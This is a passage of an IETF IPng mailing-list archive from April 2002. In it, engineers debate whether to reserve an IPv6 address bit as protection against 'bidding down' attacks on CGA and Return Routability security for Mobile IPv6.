<4.3.2.7.2.20020403112809.0254d948@mailhost.iprg.nokia.com> X-Sender: hinden@mailhost.iprg.nokia.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 03 Apr 2002 11:32:24 -0800 To: Pekka Nikander From: Bob Hinden Subject: Re: Using "a bit" as a protection against bidding down / for something else Cc: ipng@sunroof.eng.sun.com In-Reply-To: <3CAB1D1D.6000803@nomadiclab.com> References: <4DA6EA82906FD511BE2F00508BCF053802C6ABC8@Esealnt861.al.sw.ericsson.se> <3CAB0F1F.CE9DB679@hursley.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka, This is staring to sound a lot more like a research project than something the IETF should be considering standardizing now. I wonder if it might be better to complete the research and then decide the best way to signal it's usage (e.g., bit, control protocols, etc.). Bob >Now, under these specific conditions the "bit method" seems >to work. Not perfectly, but well enough. On the other hand, >the bit method *cannot* be used as a generic bidding down >protection, as I mistakenly thought for a couple of weeks. >And of course it is possible that there is still some flaw >in my thinking and/or in the explanation above. If that is >the case, I'd be happy if you or anyone could please point >that out. > >Well, personally I consider the bit method as a gross >hack, and really wish that we can create something better. >The need is there. We just need a method. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 3 13:25:36 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g33LPaKL010925; Wed, 3 Apr 2002 13:25:36 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g33LPa86010924; Wed, 3 Apr 2002 13:25:36 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g33LPWKL010914 for ; Wed, 3 Apr 2002 13:25:32 -0800 (PST) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA27167 for ; Wed, 3 Apr 2002 13:25:36 -0800 (PST) Received: from p2.piuha.net (p2.piuha.net [131.160.192.2]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA18173 for ; Wed, 3 Apr 2002 13:25:35 -0800 (PST) Received: from kolumbus.fi (p4.piuha.net [131.160.192.4]) by p2.piuha.net (Postfix) with ESMTP id F41D36A905; Thu, 4 Apr 2002 00:25:24 +0300 (EEST) Message-ID: <3CAB6599.3010906@kolumbus.fi> Date: Wed, 03 Apr 2002 23:27:05 +0300 From: Jari Arkko User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.5) Gecko/20011014 X-Accept-Language: en-us MIME-Version: 1.0 To: Bob Hinden Cc: Pekka Nikander , ipng@sunroof.eng.sun.com Subject: Re: Using "a bit" as a protection against bidding down / for something else References: <4DA6EA82906FD511BE2F00508BCF053802C6ABC8@Esealnt861.al.sw.ericsson.se> <3CAB0F1F.CE9DB679@hursley.ibm.com> <4.3.2.7.2.20020403112809.0254d948@mailhost.iprg.nokia.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Bob Hinden wrote: > This is staring to sound a lot more like a research project than > something the IETF should be considering standardizing now. I wonder if > it might be better to complete the research and then decide the best way > to signal it's usage (e.g., bit, control protocols, etc.). This would be otherwise fine, but I'm not sure what we should do with MIPv6 in the mean time. I share your and Pekka's concerns about the method, but we're not proposing it for its own sake. We just feel uneasy about deploying an infrastructureless security method that modifies routing in all nodes of the v6 Internet, and never being able to exchange it for a newer one. Note that I believe the current method (RR) is secure enough, so suggesting that we find a better method doesn't help much -- I'd still like to be able to update it, should need arise. Jari P.S. Control protocols are clearly out of the question in this case, because their contents can be changed (something about the addresses can also be changed, but not without directing the attack somewhere else). -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 3 13:50:13 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g33LoDKL011062; Wed, 3 Apr 2002 13:50:13 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g33LoDOr011061; Wed, 3 Apr 2002 13:50:13 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g33Lo9KL011054 for ; Wed, 3 Apr 2002 13:50:10 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA02981 for ; Wed, 3 Apr 2002 13:50:12 -0800 (PST) Received: from tndh.net (evrtwa1-ar8-4-60-069-145.evrtwa1.vz.dsl.gtei.net [4.60.69.145]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA17964 for ; Wed, 3 Apr 2002 14:49:58 -0700 (MST) Received: from eagleswings (127.0.0.1) by tndh.net (127.0.0.1) with [XMail 1.3 (Win32/Ix86) ESMTP Server] id for from ; Wed, 03 Apr 2002 13:49:55 -0800 From: "Tony Hain" To: "Pekka Nikander" , "Brian E Carpenter" Cc: "Hesham Soliman \(ERA\)" , , "Jari Arkko" , , "Erik Nordmark" Subject: RE: Using "a bit" as a protection against bidding down / for something else Date: Wed, 3 Apr 2002 13:49:55 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 In-Reply-To: <3CAB1D1D.6000803@nomadiclab.com> Importance: Normal Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka Nikander wrote: > Well, personally I consider the bit method as a gross > hack, and really wish that we can create something better. > The need is there. We just need a method. The bit method is not only a gross hack, it is entirely unnecessary. All it provides is an optimization for the receiver to decide if a CGA check is worth the effort, and for nodes that are aware enough to look for the bit they could just as easily check every IID. In fact if they really care, they have to check every IID just to make sure there was no tampering. If they do check there is no opportunity to bid down since the source is in control of deciding to generate a CGA to begin with, and the receiver is in control of deciding if a CGA was received. If a CGA is not necessary, what value did the bit provide? (a minor time saving at the receiver) If a CGA is necessary and the key didn't match, what value did the bit provide? (absolutely nothing) If a CGA is necessary and the key did match, what value did the bit provide? (wasted time checking a bit then deciding to run the hash) On the other hand, if the bit did exist, how many opportunities are there for an intermediary to flip it and disrupt the expectations at either end? As the lengthy discussion on the list shows, this proposal for a bit actually generates more problems than it solves. In the grand scheme of things, the minor optimization for a receiver to avoid the cpu burden of checking a hash is really a bad reason to chew up a bit which carries no other value. As far as I can tell the CGA mechanism is just another way to generate a 3041 IID, and it is up to the end points to decide if they want to impose a higher level semantic to that bit string. Using a bit doesn't help them decide since the source could just as easily use a non-CGA 3041 IID as clear the bit. Any clueful receiver would get the hint that a non-CGA 3041 IID meant the sender didn't care about securing this address, while a CGA based one meant it did care. Just get over the idea of using a bit, it is a very bad idea ... Tony -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 3 14:05:40 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g33M5dKL011111; Wed, 3 Apr 2002 14:05:39 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g33M5da3011110; Wed, 3 Apr 2002 14:05:39 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g33M5aKL011103 for ; Wed, 3 Apr 2002 14:05:36 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA05078 for ; Wed, 3 Apr 2002 14:05:38 -0800 (PST) Received: from p2.piuha.net (p2.piuha.net [131.160.192.2]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA22163 for ; Wed, 3 Apr 2002 15:05:37 -0700 (MST) Received: from kolumbus.fi (p4.piuha.net [131.160.192.4]) by p2.piuha.net (Postfix) with ESMTP id 1BD8C6A905; Thu, 4 Apr 2002 01:05:31 +0300 (EEST) Message-ID: <3CAB6EFF.2050302@kolumbus.fi> Date: Thu, 04 Apr 2002 00:07:11 +0300 From: Jari Arkko User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.5) Gecko/20011014 X-Accept-Language: en-us MIME-Version: 1.0 To: Tony Hain Cc: Pekka Nikander , Brian E Carpenter , "Hesham Soliman (ERA)" , gab@Sun.COM, ipng@sunroof.eng.sun.com, Erik Nordmark Subject: Re: Using "a bit" as a protection against bidding down / for something else References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Tony Hain wrote: > The bit method is not only a gross hack, it is entirely unnecessary. All > it provides is an optimization for the receiver to decide if a CGA check > is worth the effort, and for nodes that are aware enough to look for the > bit they could just as easily check every IID. In fact if they really > care, they have to check every IID just to make sure there was no > tampering. If they do check there is no opportunity to bid down since > the source is in control of deciding to generate a CGA to begin with, > and the receiver is in control of deciding if a CGA was received. Unfortunately, it is not possible to verify the CGA property just by looking at an address -- you also need to have the input parameters for the check IID == hash(pk) to be possible. That is, the public key must be communicated from the mn to the cn. If you know you use CGA this is easy and requires no security for the transfer. However, if it is optional to use CGA, then an attacker could simply claim to the CN that no public key was used. CN simply doesn't know if this is true or not; the address itself can't be verified without a parameter. Jari -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 3 15:09:17 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g33N9HKL011478; Wed, 3 Apr 2002 15:09:17 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g33N9HQ2011477; Wed, 3 Apr 2002 15:09:17 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g33N9EKL011470 for ; Wed, 3 Apr 2002 15:09:14 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA21414 for ; Wed, 3 Apr 2002 15:09:16 -0800 (PST) Received: from tndh.net (evrtwa1-ar8-4-60-069-145.evrtwa1.vz.dsl.gtei.net [4.60.69.145]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA26973 for ; Wed, 3 Apr 2002 16:09:14 -0700 (MST) Received: from eagleswings (127.0.0.1) by tndh.net (127.0.0.1) with [XMail 1.3 (Win32/Ix86) ESMTP Server] id for from ; Wed, 03 Apr 2002 15:09:12 -0800 From: "Tony Hain" To: "Jari Arkko" Cc: "Pekka Nikander" , "Brian E Carpenter" , "Hesham Soliman \(ERA\)" , , , "Erik Nordmark" Subject: RE: Using "a bit" as a protection against bidding down / for something else Date: Wed, 3 Apr 2002 15:09:12 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 In-Reply-To: <3CAB6EFF.2050302@kolumbus.fi> Importance: Normal Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Jari Arkko wrote: > Unfortunately, it is not possible to verify the CGA property just by > looking at an address -- you also need to have the input parameters > for the check IID == hash(pk) to be possible. That is, the public key > must be communicated from the mn to the cn. If you know you > use CGA this > is easy and requires no security for the transfer. However, if it is > optional to use CGA, then an attacker could simply claim to the CN > that no public key was used. CN simply doesn't know if this is true > or not; the address itself can't be verified without a parameter. > You just argued for my point. If there is a way for the attacker to indicate that no public key was used (clearing the bit for example) then they will do that and you didn't help your cause. If the CN checked that the IID agreed with the PK in every case, if no PK was available obviously it fails, and if one was available it will either pass or fail as appropriate. A bit didn't help make that decision easier. The fundemental decision comes down to; does the MN generate a CGA, and send a PK to the CN, or not. If it does the CN has what it needs to verify the IID, and if it doesn't then the receiver might waste a few cycles deciding that the IID is not based on a PK. The action the receiver takes at that point will be exactly the same as if it had seen the proposed bit cleared. THE BIT PROVIDES NO VALUE TO THIS PROCESS. Tony -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 3 22:27:57 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g346RvKL013035; Wed, 3 Apr 2002 22:27:57 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g346Rvmn013034; Wed, 3 Apr 2002 22:27:57 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g346RrKL013027 for ; Wed, 3 Apr 2002 22:27:54 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id WAA14880 for ; Wed, 3 Apr 2002 22:27:57 -0800 (PST) Received: from ws177.nomadiclab.com (teldanex.hiit.fi [212.68.5.99]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id XAA05118 for ; Wed, 3 Apr 2002 23:27:55 -0700 (MST) Received: from nomadiclab.com (cube.local.nikander.com [192.168.0.33]) by ws177.nomadiclab.com (Postfix) with ESMTP id 918F58; Thu, 4 Apr 2002 09:29:38 +0300 (EEST) Message-ID: <3CABF28B.5010401@nomadiclab.com> Date: Thu, 04 Apr 2002 09:28:27 +0300 From: Pekka Nikander User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:0.9.9+) Gecko/20020402 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Tony Hain Cc: Jari Arkko , Brian E Carpenter , "Hesham Soliman (ERA)" , gab@Sun.COM, ipng@sunroof.eng.sun.com, Erik Nordmark Subject: Re: Using "a bit" as a protection against bidding down / for something else References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Tony, I agree with you that the "bit method" is not a good method. On the effective value of the method I have to *disagree*, though. There is, however, a need to divide the IP addresses into two sets: 1. Addresses for which CGA (or something similar) is *required*. 2. Addresses for which CGA (or somethign similar) is not used or is optional. The reason for this is the "bidding down" attack. > The fundemental decision comes down to; does the MN generate a CGA, and > send a PK to the CN, or not. If it does the CN has what it needs to > verify the IID, and if it doesn't then the receiver might waste a few > cycles deciding that the IID is not based on a PK. The action the > receiver takes at that point will be exactly the same as if it had seen > the proposed bit cleared. THE BIT PROVIDES NO VALUE TO THIS PROCESS. Here I have to *strongly* disagree. The "bit" is one method for providing protection against the bidding down attack. It effectively creates two IP address spaces, those for which the receiver *requires* CGA, and those for which it does not. If we do *not* do this distinction, a Man-in-the-Middle can claim, for *any* IP address, that CGA (or something similar) is not used. That reduces the security of all addresses to the same base line, effectively creating a situation where CGA (or similar) does not provide any additional value at all. Ergo, *something* that divides the IP address set into two distinct sets *is* needed, or otherwise CGA and related methods bring no additional value. If everybody agrees that CGA (and any security that is *not* based on an external infrastructure but on "intrinsic cryptography") is a bad idea, then fine with me. Let's forget this discussion. But then we are effectively saying that zero-configuration security is a bad idea and we don't want it. Thus, this all is really about zero-configuration security. Such security, by nature, is never "strong" by the strict definition of strong, but it can be *much* stronger than the current no-security situation. Basically, such security can provide quite a lot of defence against various DoS attacks. This two-address-space thing is only required for those recipients that support both the current nodes with no understanding about zero-conf security and the future nodes that do care about zero-conf security. As I noted before, it requires that the initiator commits a priori either to the "weak" method or the "strong" method. The details differ, quite a lot in fact, depending on whether we speak about MIPv6 or something else, e.g. secure Neighbor Discovery. But the same need: dividing the address space into two distinct sets, is there. Or at least that is my current understanding. Maybe I am wrong. Personally, I do not believe that any bold statements help here. At least to me, this whole zero-conf security business is so new that at least I need to have very humble attitude here. I learn new issues all the time. On the other hand, IMHO we really want to go towards zero-conf security. And if we do, we need some kind of transition mechanism. Dividing the IPv6 address space seems to serve as an important piece of such a transition mechanisms. Of course, there are different ways of dividing the IPv6 address space. If everybody thinks that using a bit in the IID is a bad idea, then maybe we should consider distinct routing prefixes for mobile hosts, and distinct link local addresses for secure ND. --Pekka -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 3 22:40:23 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g346eNKL013088; Wed, 3 Apr 2002 22:40:23 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g346eNR2013087; Wed, 3 Apr 2002 22:40:23 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g346eKKL013080 for ; Wed, 3 Apr 2002 22:40:20 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id WAA17763 for ; Wed, 3 Apr 2002 22:40:23 -0800 (PST) From: john.loughney@nokia.com Received: from mgw-x3.nokia.com (mgw-x3.nokia.com [131.228.20.26]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id XAA19799 for ; Wed, 3 Apr 2002 23:40:22 -0700 (MST) Received: from esvir01nok.ntc.nokia.com (esvir01nokt.ntc.nokia.com [172.21.143.33]) by mgw-x3.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id g346fHJ15003 for ; Thu, 4 Apr 2002 09:41:18 +0300 (EET DST) Received: from esebh001.NOE.Nokia.com (unverified) by esvir01nok.ntc.nokia.com (Content Technologies SMTPRS 4.2.5) with ESMTP id ; Thu, 4 Apr 2002 09:40:20 +0300 Received: from esebe004.NOE.Nokia.com ([172.21.138.44]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.3779); Thu, 4 Apr 2002 09:40:20 +0300 X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: RE: Using "a bit" as a protection against bidding down / for something else Date: Thu, 4 Apr 2002 09:40:20 +0300 Message-ID: <0C1353ABB1DEB74DB067ADFF749C4EEFD38D83@esebe004.NOE.Nokia.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Using "a bit" as a protection against bidding down / for something else Thread-Index: AcHbojRh1DLHRBi8TmKs5ExmG3g/KQAABlRQ To: Cc: X-OriginalArrivalTime: 04 Apr 2002 06:40:20.0501 (UTC) FILETIME=[9724D450:01C1DBA3] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id g346eKKL013081 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi Pekka, > I agree with you that the "bit method" is not a good method. > On the effective value of the method I have to *disagree*, though. > There is, however, a need to divide the IP addresses into two > sets: > > 1. Addresses for which CGA (or something similar) is *required*. > > 2. Addresses for which CGA (or somethign similar) is not used > or is optional. My understanding of this entire discussion was that the "bit method" was more along these lines: 1. Addresses for which something stronger than Return Routability is needed. 2. Addresses for which Return Routability is sufficient. I thought that further study on CGA was needed, in order to get consensus on if the protection it provides is sufficient. One comment I would like to make about this topic, which I don't think has been addressed (no pun intended), is that this 'bit method' for addresses essentially can identify nodes which are 'potentially' mobile. I am not a security expert, so this may not really be a threat, but my feeling is that most mobile devices will probably be small devices, that are battery/processor/l2 (i.e. wireless) limited devices. By identifying nodes this way, do we open up the possibility for addition DoS attacks (small device with limited processor, battery & bandwidth capacity) is more susceptible to flooding attacks. Is this an issue? thanks, John -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 3 22:47:18 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g346lIKL013114; Wed, 3 Apr 2002 22:47:18 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g346lHTX013113; Wed, 3 Apr 2002 22:47:17 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g346lEKL013106 for ; Wed, 3 Apr 2002 22:47:15 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id WAA16526 for ; Wed, 3 Apr 2002 22:47:18 -0800 (PST) Received: from ws177.nomadiclab.com (teldanex.hiit.fi [212.68.5.99]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id XAA11581 for ; Wed, 3 Apr 2002 23:47:17 -0700 (MST) Received: from nomadiclab.com (cube.local.nikander.com [192.168.0.33]) by ws177.nomadiclab.com (Postfix) with ESMTP id 70BDC8; Thu, 4 Apr 2002 09:48:59 +0300 (EEST) Message-ID: <3CABF714.4010400@nomadiclab.com> Date: Thu, 04 Apr 2002 09:47:48 +0300 From: Pekka Nikander User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:0.9.9+) Gecko/20020402 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Bob Hinden Cc: ipng@sunroof.eng.sun.com Subject: Re: Using "a bit" as a protection against bidding down / for something else References: <4DA6EA82906FD511BE2F00508BCF053802C6ABC8@Esealnt861.al.sw.ericsson.se> <3CAB0F1F.CE9DB679@hursley.ibm.com> <4.3.2.7.2.20020403112809.0254d948@mailhost.iprg.nokia.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Bob, > This is staring to sound a lot more like a research project than > something the IETF should be considering standardizing now. I wonder if > it might be better to complete the research and then decide the best way > to signal it's usage (e.g., bit, control protocols, etc.). You may be right that *how* exactly to *use* the bit is more a research issue than a standardization issue. At least we should get much more peer-review from the security people on CGA and any other such methods. However, what Erik and the MIPv6 Design Team suggested is that the "bit" is *reserved* at this time for future use. From the MIPv6 point of view, it *also* acts as a safeguard against the possible future situation where RR becomes the weakest link in IPv6 security, e.g. because ND gets secured. It would allow gradual shift-out from RR at that point of time. Basically, it looks like we are not much going anywhere: - The currently known alternatives to RR do not seem to get accepted at the MIPv6 WG due to IPR issues. Personally I consider it very unlikely that new similar methods would magically emerge without IPRs. - Thus, MIPv6 Route Optimization cannot move forward unless RR can be made secure enough. - It looks like some people (me included) would not like to see RR widely deployed *unless* there is a clear way out of it. A way that does *not* require world-wide security infrastructure. - The "bit method" is one such a way, but nobody wants to adopt it, at least not for MIPv6 RR. - Ergo, MIPv6 is stuck, again. Actually, it *may* be possible to augment RR design so that no such external safeguard, as the bit, is needed. We are looking at that, right now. Unfortunately there are some IPR issues on that path, too, and I don't know if they can be resolved. However, even if we could "fix" RR, that does *not* remove the need for other zero-conf security solutions (such as Secure ND), as I explained in the other note to Tony. Thus, I really think that we should make such a bit *reservation* for two reasons: Firstly, to provide a migration path to zero-conf security, e.g. Secure ND, and secondly, to provide a controlled way of disabling RR for certain *addresses*. (Note that it must be disabled for *addresses*, not nodes, due to MitM and impersonation attacks.) If it later turns out that the reservation does not need to be used, after all, the better. Then release it or use it for something even more productive. --Pekka Nikander -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 3 22:57:01 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g346v1KL013139; Wed, 3 Apr 2002 22:57:01 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g346v1HM013138; Wed, 3 Apr 2002 22:57:01 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g346uwKL013131 for ; Wed, 3 Apr 2002 22:56:58 -0800 (PST) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id WAA02537 for ; Wed, 3 Apr 2002 22:57:01 -0800 (PST) Received: from albatross.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [193.180.251.46]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id WAA05876 for ; Wed, 3 Apr 2002 22:57:00 -0800 (PST) Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6]) by albatross.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with ESMTP id g346ux3G011131; Thu, 4 Apr 2002 08:56:59 +0200 (MEST) Received: from lmf.ericsson.se (lmf4ws450.lmf.ericsson.se [131.160.38.50]) by fogerty.lmf.ericsson.se (8.12.1/8.12.1/lmf.8.12.1.jcs) with ESMTP id g346uwUD001381; Thu, 4 Apr 2002 09:56:58 +0300 (EET DST) Message-ID: <3CABF939.2DB0C3BE@lmf.ericsson.se> Date: Thu, 04 Apr 2002 09:56:57 +0300 From: Jari Arkko Organization: Oy L M Ericsson Ab X-Mailer: Mozilla 4.77 [en] (X11; U; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: john.loughney@nokia.com CC: Pekka.Nikander@nomadiclab.com, ipng@sunroof.eng.sun.com Subject: Re: Using "a bit" as a protection against bidding down / for something else References: <0C1353ABB1DEB74DB067ADFF749C4EEFD38D83@esebe004.NOE.Nokia.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk john.loughney@nokia.com wrote: > 1. Addresses for which something stronger than Return Routability > is needed. > > 2. Addresses for which Return Routability is sufficient. > > I thought that further study on CGA was needed, in order to get consensus > on if the protection it provides is sufficient. Well, in this discussion CGA was used as one example of an infrastructureless but strong method. I personally believe CGA is roughly as well studied as RR is. In any case, that doesn't matter as the argument is really about how to be 